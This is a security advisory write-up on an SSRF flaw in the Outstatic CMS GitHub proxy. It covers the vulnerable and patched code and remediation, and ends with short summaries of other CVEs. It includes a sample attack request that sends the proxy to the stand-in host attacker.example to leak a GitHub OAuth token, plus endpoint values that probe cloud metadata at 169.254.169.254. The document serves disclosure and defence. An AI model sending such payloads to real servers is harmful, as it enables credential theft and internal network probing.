Nov 19, 2026·9 min read·0 visits
Outstatic versions prior to 2.2.1 are vulnerable to Server-Side Request Forgery (CWE-918) in the /api/outstatic/github proxy endpoint. Improper URL concatenation and unrestricted HTTP header merging allow authenticated users or chained client-side attacks to force the server to transmit active GitHub OAuth bearer tokens to arbitrary third-party servers. Upgrading to Outstatic 2.2.1 enforces strict origin validation and header allowlisting.
CVE-2026-71425 (GHSA-7jvc-9xq8-frff) is a Server-Side Request Forgery (SSRF) and credential exposure vulnerability in Outstatic, an open-source Next.js-based static site Content Management System (CMS). In versions prior to 2.2.1, the authenticated GitHub REST proxy (/api/outstatic/github) constructed upstream URLs via insecure string concatenation of an unvalidated endpoint parameter and merged arbitrary user-supplied HTTP headers directly into outbound requests. Because the proxy automatically attaches the active user's GitHub OAuth access token to these requests, an authenticated caller or an attacker leveraging a cross-origin request primitive can redirect the server's outbound request to an arbitrary external host and exfiltrate the OAuth bearer token.
Outstatic is an open-source Content Management System (CMS) designed for Next.js applications that stores Markdown and MDX content directly within GitHub repositories rather than a traditional database. To interact with repository contents from the administrative dashboard, Outstatic exposes an internal backend API proxy located at /api/outstatic/github. This endpoint acts as an intermediary between the client-side application and the upstream GitHub REST API (https://api.github.com).
In Outstatic versions prior to 2.2.1, the request handler for this proxy exhibits a Server-Side Request Forgery (SSRF) vulnerability tracked as CVE-2026-71425 (and GHSA-7jvc-9xq8-frff), classified primarily under CWE-918 with secondary classifications under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and CWE-20 (Improper Input Validation). The handler accepts an endpoint parameter and optional HTTP headers from the client to dynamically construct an outbound request.
Because the proxy retrieves the user's active session via getLoginSession() and injects the secret GitHub OAuth bearer token into the Authorization header of every proxied call, the absence of destination validation creates a direct credential exposure vector. When a crafted endpoint value or manipulated Host header alters the target destination of the fetch() call, the Outstatic server transmits the user's GitHub OAuth token in plaintext to an untrusted third-party domain.
The root cause of CVE-2026-71425 lies in packages/outstatic/src/app/api/github/github.ts within the handleGitHubRequest function. The vulnerability stems from two distinct implementation flaws in how outbound fetch() parameters are assembled from user-supplied input: raw string concatenation during URL construction and unvalidated property merging during HTTP header generation.
First, the proxy constructs the target upstream URL by concatenating the base string 'https://api.github.com' directly with the user-controlled githubEndpoint variable (let githubUrl = 'https://api.github.com' + githubEndpoint). The code does not verify that githubEndpoint begins with a forward slash (/), nor does it parse the resulting string through a standard URL parser to verify that the resolved origin matches https://api.github.com. If a caller supplies a value starting with a dot, an @ symbol (@attacker.example), or domain-extension characters (.attacker.example/path), the concatenated string resolves to an external authority https://api.github.com.attacker.example/path instead of a path under api.github.com.
Second, the proxy constructs the outgoing HTTP headers dictionary by initializing an object containing Authorization: 'token ' + currentSession.access_token, 'User-Agent': 'Outstatic-GitHub-API', and 'Accept': 'application/vnd.github.v3+json'. Immediately following initialization, the code checks if validatedRequest.headers is present and merges it directly into the headers dictionary using Object.assign(headers, validatedRequest.headers).
Using Object.assign() without an allowlist or key canonicalization allows the caller to inject or overwrite arbitrary HTTP request headers. An attacker can supply a custom Host header (such as Host: attacker.example) or routing headers (such as X-Forwarded-Host), which can cause intermediate reverse proxies, service meshes, or virtual host routers to misroute the authenticated request. Combined with the lack of URL origin verification, the underlying runtime fetch(githubUrl, requestOptions) dispatches the request—along with the attached Authorization header—outside the intended security boundary.
Prior to version 2.2.1, the vulnerable implementation in packages/outstatic/src/app/api/github/github.ts combined session lookup, header merging, and string-based URL construction directly inside handleGitHubRequest:
// Vulnerable code prior to 2.2.1 in packages/outstatic/src/app/api/github/github.ts
const headers: Record<string, string> = {
Authorization: `token ${currentSession.access_token}`,
'User-Agent': 'Outstatic-GitHub-API',
Accept: 'application/vnd.github.v3+json'
}
// FLAW 1: Unsanitized header merging allows injection/override of arbitrary headers
if (validatedRequest.headers) {
Object.assign(headers, validatedRequest.headers)
}
// FLAW 2: Direct string concatenation without leading slash check or origin validation
let githubUrl = `https://api.github.com${githubEndpoint}`
if (request.method === 'GET') {
const url = new URL(request.url)
const queryParams = new URLSearchParams()
for (const [key, value] of url.searchParams.entries()) {
if (!key.startsWith('header-')) {
queryParams.append(key, value)
}
}
if (queryParams.toString()) {
githubUrl += '?' + queryParams.toString()
}
}In commit 65df36bc0464784d45f776d1de6b9fc9d9d9c15d, the maintainers refactored the proxy to introduce two dedicated validation and sanitization helper functions: getForwardedHeaders and buildGitHubUrl.
// Patched implementation in commit 65df36bc0464784d45f776d1de6b9fc9d9d9c15d
const GITHUB_API_ORIGIN = 'https://api.github.com'
const FORWARDED_GITHUB_HEADERS = new Set([
'accept',
'content-type',
'x-github-api-version'
])
const CANONICAL_FORWARDED_GITHUB_HEADERS: Record<string, string> = {
accept: 'Accept',
'content-type': 'Content-Type',
'x-github-api-version': 'X-GitHub-Api-Version'
}
// FIX 1: Strict allowlist and canonical key mapping for user-supplied headers
function getForwardedHeaders(headers?: Record<string, string>) {
if (!headers) return {}
const result: Record<string, string> = {}
for (const [header, value] of Object.entries(headers)) {
const lowerHeader = header.toLowerCase()
if (FORWARDED_GITHUB_HEADERS.has(lowerHeader)) {
result[CANONICAL_FORWARDED_GITHUB_HEADERS[lowerHeader]] = value
}
}
return result
}
// FIX 2: Enforce leading slash and verify WHATWG URL origin equality
function buildGitHubUrl(endpoint: string, queryParams?: URLSearchParams) {
if (!endpoint.startsWith('/')) return null
const url = new URL(endpoint, GITHUB_API_ORIGIN)
if (url.origin !== GITHUB_API_ORIGIN) return null
if (queryParams) {
for (const [key, value] of queryParams.entries()) {
url.searchParams.append(key, value)
}
}
return url.toString()
}The buildGitHubUrl function neutralizes URL manipulation via two checks. First, if (!endpoint.startsWith('/')) return null prevents domain-suffix concatenation attacks (such as .attacker.example) and userinfo attacks (@attacker.example). Second, passing endpoint and GITHUB_API_ORIGIN into the standard WHATWG new URL(endpoint, GITHUB_API_ORIGIN) constructor resolves protocol-relative paths (//attacker.example/path) into https://attacker.example/path, which is then caught and rejected by the strict check if (url.origin !== GITHUB_API_ORIGIN) return null. When buildGitHubUrl returns null, handleGitHubRequest immediately aborts execution with HTTP status 400 Bad Request prior to querying getLoginSession().
Similarly, getForwardedHeaders normalizes incoming header keys to lowercase and filters them against the FORWARDED_GITHUB_HEADERS set (accept, content-type, x-github-api-version). Any matching header is mapped to its exact canonical casing in CANONICAL_FORWARDED_GITHUB_HEADERS. This prevents attackers from injecting Host headers or tampering with Authorization or User-Agent values via case-variation attacks. The fix is complete against SSRF and header injection on this code path, provided that api.github.com itself does not host open redirect endpoints that preserve the Authorization header across cross-origin redirects.
Exploiting CVE-2026-71425 requires a valid Outstatic login session (PR:L) because handleGitHubRequest verifies the session via getLoginSession() before attaching currentSession.access_token. However, this prerequisite can be satisfied in two primary operational contexts: a low-privileged or malicious collaborator attempting to extract raw OAuth credentials from the server session, or an external attacker chaining a client-side primitive (such as Cross-Site Scripting or Cross-Site Request Forgery) in the browser of an authenticated Outstatic user.
In a direct exploitation scenario, an authenticated caller sends an HTTP POST request to /api/outstatic/github with a JSON payload specifying a manipulated endpoint string. Because the pre-2.2.1 implementation performs raw string concatenation (https://api.github.com${githubEndpoint}), supplying a dot-prefixed domain or an @ authority separator alters the parsed hostname of the resulting URL:
POST /api/outstatic/github HTTP/1.1
Host: cms.victim.example
Content-Type: application/json
Cookie: outstatic-session=<valid_encrypted_session_cookie>
{
"endpoint": ".attacker.example/collect",
"method": "GET",
"headers": {
"X-Custom-Trace": "exfil"
}
}When handleGitHubRequest processes this payload in versions < 2.2.1, it constructs the string https://api.github.com.attacker.example/collect (or, if endpoint is @attacker.example/collect, https://api.github.com@attacker.example/collect). Alternatively, if the caller invokes the proxy via a GET request path or supplies protocol-relative syntax where supported by the routing layer (//attacker.example/collect), the target domain also resolves to the external host.
The Outstatic backend then executes fetch(githubUrl, requestOptions), generating an outbound request from the Next.js server directly to the attacker-controlled listener:
GET /collect HTTP/1.1
Host: api.github.com.attacker.example
Authorization: token gho_16C7e42F292c6912E7710c838347Ae178B4a
User-Agent: Outstatic-GitHub-API
Accept: application/vnd.github.v3+json> [!NOTE]
> Because Outstatic encrypts session cookies on the server side to prevent client-side JavaScript from reading the raw GitHub OAuth token directly from document.cookie, this SSRF flaw acts as a session-decryption oracle. Even an attacker who has achieved XSS on the same origin—and would otherwise be blocked from extracting the raw token out of an encrypted or HttpOnly cookie—can invoke /api/outstatic/github to force the backend to decrypt the session and transmit the raw OAuth token to an external server.
The primary impact of CVE-2026-71425 is the complete loss of confidentiality of the active user's GitHub OAuth access token. The vulnerability is assigned a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. The Attack Vector is Network (AV:N) with Low Attack Complexity (AC:L), Low Privileges Required (PR:L), and No User Interaction (UI:N), resulting in High Confidentiality impact (C:H) and no direct Integrity (I:N) or Availability (A:N) impact on the Outstatic proxy itself.
While the CVSS vector records Integrity impact as None with an Unchanged scope for the proxy component, the practical downstream consequence of leaking an active GitHub OAuth token involves full read and write compromise of the connected GitHub account's authorized scope. To manage repository content, Outstatic's GitHub OAuth application requires repository read and write permissions.
Once an attacker captures the Authorization: token <access_token> header on an external listener, they can authenticate directly against https://api.github.com independently of Outstatic. This grants the attacker the ability to read private repositories, modify source code and Markdown content, inject malicious build scripts into Next.js deployment pipelines (such as Vercel or GitHub Actions workflows triggered by repository pushes), and enumerate organization resources accessible to the compromised user.
Additionally, the SSRF primitive allows an authenticated user to probe internal network services reachable from the Next.js runtime environment (for example, by supplying @169.254.169.254/latest/meta-data/ or @localhost:8080/internal as the endpoint), returning the upstream response body directly to the caller.
To remediate CVE-2026-71425, upgrade the outstatic package to version 2.2.1 or later. Version 2.2.1 incorporates commit 65df36bc0464784d45f776d1de6b9fc9d9d9c15d, which enforces strict URL origin verification (https://api.github.com), requires a leading forward slash on all endpoint values, and restricts forwarded HTTP headers to a canonical allowlist (Accept, Content-Type, and X-GitHub-Api-Version).
# Upgrade using npm
npm install outstatic@^2.2.1
# Upgrade using pnpm
pnpm update outstatic
# Upgrade using yarn
yarn upgrade outstatic@^2.2.1If immediate package upgrading is not feasible, administrators can deploy compensating controls at the reverse proxy, Web Application Firewall (WAF), or Next.js middleware layer (middleware.ts). Specifically, inspect all requests targeting /api/outstatic/github and reject any request where the endpoint parameter does not strictly match the regular expression ^/[a-zA-Z0-9_./-]+$ (ensuring it starts with a single / and is not followed by a second / or @). Furthermore, configure egress firewall rules on the Next.js hosting environment so that the /api/outstatic/github worker can only establish outbound TCP connections on port 443 to official GitHub API IP ranges (api.github.com).
> [!IMPORTANT]
> Because exploitation results in the silent exfiltration of valid GitHub OAuth credentials, organizations running Outstatic < 2.2.1 that observed suspicious requests to /api/outstatic/github or anomalous outbound connections from their Next.js servers must revoke all active user OAuth tokens and rotate their GitHub OAuth App client secrets inside the GitHub Developer Settings console.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
outstatic avitorio | < 2.2.1 | 2.2.1 |
| Attribute | Detail |
|---|---|
| CVE / GHSA ID | CVE-2026-71425 / GHSA-7jvc-9xq8-frff |
| Weakness Class | CWE-918 (Server-Side Request Forgery) |
| CVSS v3.1 Score | 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) |
| Affected Component | packages/outstatic/src/app/api/github/github.ts (/api/outstatic/github) |
| Affected Versions | outstatic < 2.2.1 (Patched in 2.2.1) |
| Primary Impact | Exfiltration of active user GitHub OAuth bearer tokens to arbitrary external hosts |
| Exploit / KEV Status | No public PoC / Not listed in CISA KEV |
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, without sufficiently ensuring that the request is being sent to the expected destination.
CVE-2026-71861 (GHSA-wq26-3j2m-4hvv) is a high-severity authentication bypass and cryptographic signature-binding replay vulnerability in the Chainguard Go SDK (chainguard.dev/sdk / github.com/chainguard-dev/sdk) affecting versions prior to v0.1.107. The vulnerability resides in the auth/aws.VerifyToken function, which validates AWS STS GetCallerIdentity requests signed with AWS Signature Version 4 (SigV4) to authenticate AWS workloads. Prior to version v0.1.107, VerifyToken verified the values of custom HTTP binding headers (Chainguard-Audience and Chainguard-Identity) without confirming that those headers were listed in the SigV4 SignedHeaders parameter of the Authorization header. Because AWS STS ignores unsigned headers when recomputing and verifying the SigV4 signature, an attacker who captures any valid, fresh SigV4-signed STS GetCallerIdentity request from a victim AWS principal can inject or overwrite the Chainguard-Audience and Chainguard-Identity headers and replay the token to bypass authentication and impersonate the victim identity.
CVE-2026-73864 is a CWE-494 (Download of Code Without Integrity Check) vulnerability in the Node.js package install-artifact-from-github prior to version 1.7.0. The tool downloads precompiled native Node.js C/C++ addons (.node binaries) from GitHub Releases or configurable mirrors and writes them directly to disk without verifying cryptographic checksums or signatures. Furthermore, its HTTP client follows cross-protocol redirects from HTTPS to plaintext HTTP. When the consuming application loads the downloaded addon via require(), the unverified native binary executes immediately within the Node.js process, permitting arbitrary native code execution if an attacker compromises a GitHub release asset, poisons a configured mirror, or intercepts downgraded network traffic.
LLMKube prior to version 0.9.0 fails to restrict local filesystem paths and file:// URIs supplied in the Model.spec.source field of custom resources. A namespace-level user with permission to create or modify Model and InferenceService resources can traverse the filesystem of the operator controller pod or mount arbitrary host node files via a HostPathVolumeSource. This enables unauthorized disclosure of high-privilege Kubernetes ServiceAccount tokens and underlying host credentials.
CVE-2026-75521 is an unauthenticated remote authentication bypass vulnerability in Miren Runtime prior to version 0.11.1. The QUIC/HTTP3 RPC service configures its TLS listener with tls.RequestClientCert, which requests client certificates without validating them against the cluster Certificate Authority. Simultaneously, the RPC authenticators extract caller identities directly from PeerCertificates[0] without checking VerifiedChains, granting any caller presenting a self-signed certificate the AuthMethodCert identity and a complete Role-Based Access Control (RBAC) bypass.
CVE-2026-63129 is a high-severity SQL injection vulnerability (CWE-89) in the @connorbritain/mssql-mcp-core library and its downstream implementations (mssql-mcp-server, mssql-mcp-reader, and mssql-mcp-writer). The flaw results from the direct concatenation of unvalidated database identifiers, filter predicates, and enum parameters into T-SQL batches passed to the node-mssql Request.query() interface. Because pre-execution row count and preview queries execute before safety confirmation flags are checked, an attacker with access to invoke Model Context Protocol (MCP) tools can bypass confirmation controls and execute arbitrary stacked T-SQL statements.
CVE-2026-73504 (GHSA-jc42-994r-vvwp) is a credential exposure vulnerability in ING Bank's cassandra-jdbc-wrapper (com.ing.data:cassandra-jdbc-wrapper). Resulting from an incomplete remediation of AIKIDO-2024-10565, the log sanitization routines in DriverUtil redact the password property but fail to redact the token property. When DEBUG logging is enabled, connection properties and JDBC URLs containing DataStax Astra DB bearer tokens are written in plaintext to application logs, enabling local users or log aggregation readers to harvest active database credentials.